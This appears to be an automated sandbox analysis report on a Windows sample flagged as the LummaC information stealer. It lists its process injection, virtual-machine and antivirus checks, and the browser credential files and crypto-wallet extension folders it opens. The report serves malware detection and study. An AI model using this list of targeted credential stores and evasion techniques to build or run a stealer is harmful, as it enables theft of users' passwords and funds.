Source: unknown	HTTPS traffic detected: 172.67.161.207:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.207:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.207:443 -> 192.168.2.4:49741 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe

Code function: 2_2_00434470 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00434470

Source: C:\Users\user\Desktop\file.exe

Code function: 2_2_00434470 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00434470

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000AA050	0_2_000AA050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000A8190	0_2_000A8190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000A1000	0_2_000A1000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000B6030	0_2_000B6030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000B3D10	0_2_000B3D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000B89D0	0_2_000B89D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000AFE20	0_2_000AFE20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000B8270	0_2_000B8270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000ADEF0	0_2_000ADEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000B5780	0_2_000B5780
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000C6FF2	0_2_000C6FF2
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000A1000	2_2_000A1000
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000B6030	2_2_000B6030
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000AA050	2_2_000AA050
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000A8190	2_2_000A8190
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000B89D0	2_2_000B89D0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000B8270	2_2_000B8270
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000B3D10	2_2_000B3D10
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000AFE20	2_2_000AFE20
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000ADEF0	2_2_000ADEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000B5780	2_2_000B5780
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000C6FF2	2_2_000C6FF2
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00439030	2_2_00439030
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0040E0D8	2_2_0040E0D8
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0043B8E0	2_2_0043B8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004098F0	2_2_004098F0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00440C80	2_2_00440C80
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00423D70	2_2_00423D70
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00419530	2_2_00419530
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00441580	2_2_00441580
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004089A0	2_2_004089A0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00428770	2_2_00428770
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0040CF05	2_2_0040CF05
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00421790	2_2_00421790
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00406840	2_2_00406840
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0043C040	2_2_0043C040
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00420870	2_2_00420870
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00406CC0	2_2_00406CC0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004094D0	2_2_004094D0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0043F8D0	2_2_0043F8D0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004324E0	2_2_004324E0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00405C90	2_2_00405C90
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00428CB0	2_2_00428CB0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0040E970	2_2_0040E970
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0040AD00	2_2_0040AD00
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004341D0	2_2_004341D0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00403580	2_2_00403580
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004061A0	2_2_004061A0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00420650	2_2_00420650
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0040B210	2_2_0040B210
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00409210	2_2_00409210
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00427E20	2_2_00427E20
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00404AC0	2_2_00404AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00425E90	2_2_00425E90
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0041FB60	2_2_0041FB60
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00440F60	2_2_00440F60
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0041DB30	2_2_0041DB30
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004027D0	2_2_004027D0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004077D0	2_2_004077D0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00402B80	2_2_00402B80
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0043C780	2_2_0043C780
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004387B0	2_2_004387B0

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 000BA5E0 appears 66 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 000BD198 appears 36 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: .coS ZLIB complexity 1.000337184446254

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/0@1/1

Source: C:\Users\user\Desktop\file.exe

Code function: 2_2_00439030 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

2_2_00439030

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3744:120:WilError_03

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000002.00000003.1772916719.00000000052D8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: section name: .coS

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000B9BE5 push ecx; ret	0_2_000B9BF8
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C7AAB8 push eax; iretd	2_3_02C7AAB9
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C5F487 push es; ret	2_3_02C5F4D6
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C5F487 push es; ret	2_3_02C5F4D6
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C5F2A7 push ecx; ret	2_3_02C5F2AE
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C5F2A7 push ecx; ret	2_3_02C5F2AE
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C5F6B5 push ebx; ret	2_3_02C5F6B6
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C5F6B5 push ebx; ret	2_3_02C5F6B6
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C0DECF push eax; retn 0002h	2_3_02C0DED2
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C0DECF push eax; retn 0002h	2_3_02C0DED2
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C0E72B pushfd ; ret	2_3_02C0E73E
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C0E72B pushfd ; ret	2_3_02C0E73E
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C5F487 push es; ret	2_3_02C5F4D6
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C5F487 push es; ret	2_3_02C5F4D6
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C5F2A7 push ecx; ret	2_3_02C5F2AE
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C5F2A7 push ecx; ret	2_3_02C5F2AE
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C5F6B5 push ebx; ret	2_3_02C5F6B6
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C5F6B5 push ebx; ret	2_3_02C5F6B6
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C0DECF push eax; retn 0002h	2_3_02C0DED2
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C0DECF push eax; retn 0002h	2_3_02C0DED2
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C0E72B pushfd ; ret	2_3_02C0E73E
Source: C:\Users\user\Desktop\file.exe	Code function: 2_3_02C0E72B pushfd ; ret	2_3_02C0E73E
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000B9BE5 push ecx; ret	2_2_000B9BF8
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00415057 push eax; iretd	2_2_00415058
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00418028 push esp; ret	2_2_0041802B
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0041642B push esp; ret	2_2_00416438
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00418100 push esp; iretd	2_2_00418102
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0041811F push esp; iretd	2_2_00418135
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004181DA push eax; iretd	2_2_004181DB
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00414BB8 push esp; iretd	2_2_00414BD4

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000B9CC2 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_000B9CC2

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

API coverage: 8.1 %

Source: C:\Users\user\Desktop\file.exe TID: 3740

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000C17FB FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_000C17FB

Source: file.exe, file.exe, 00000002.00000003.1933544092.0000000002C07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1933303365.0000000002BCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2026967826.0000000002C07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2026882763.0000000002BCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1933303365.0000000002C07000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 2_2_0043DF70 LdrInitializeThunk,

2_2_0043DF70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000BA464 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_000BA464

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000D018D mov edi, dword ptr fs:[00000030h]	0_2_000D018D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000ADD90 mov eax, dword ptr fs:[00000030h]	0_2_000ADD90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000A9EF0 mov edi, dword ptr fs:[00000030h]	0_2_000A9EF0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000ADD90 mov eax, dword ptr fs:[00000030h]	2_2_000ADD90
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000A9EF0 mov edi, dword ptr fs:[00000030h]	2_2_000A9EF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000BEFB0 GetProcessHeap,

0_2_000BEFB0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000BA458 SetUnhandledExceptionFilter,	0_2_000BA458
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000BA464 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_000BA464
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000BCDEA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_000BCDEA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000B9AF9 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_000B9AF9
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000B9AF9 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_000B9AF9
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000BA458 SetUnhandledExceptionFilter,	2_2_000BA458
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000BA464 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_000BA464
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000BCDEA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_000BCDEA

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000D018D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_000D018D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Users\user\Desktop\file.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000BA220 cpuid

0_2_000BA220

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000BA8E5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_000BA8E5

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000002.00000003.1933584990.0000000002C64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1913239014.0000000002C68000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000003.1866028607.0000000002C68000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2027036198.0000000002C64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %\Windows Defender\MsMpeng.exe
Source: file.exe, 00000002.00000003.1933176350.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000002.2027381730.00000000052CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1913336239.00000000052CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1866057194.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000002.00000003.1933691286.00000000052CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 4348, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000002.00000003.1933464874.0000000002C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: allets/Electrum"i
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000002.00000003.1933464874.0000000002C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \\Exodus\\exodus
Source: file.exe, 00000002.00000003.1824130914.0000000002C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000002.00000003.1845901808.0000000002C72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000002.00000003.1824130914.0000000002C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
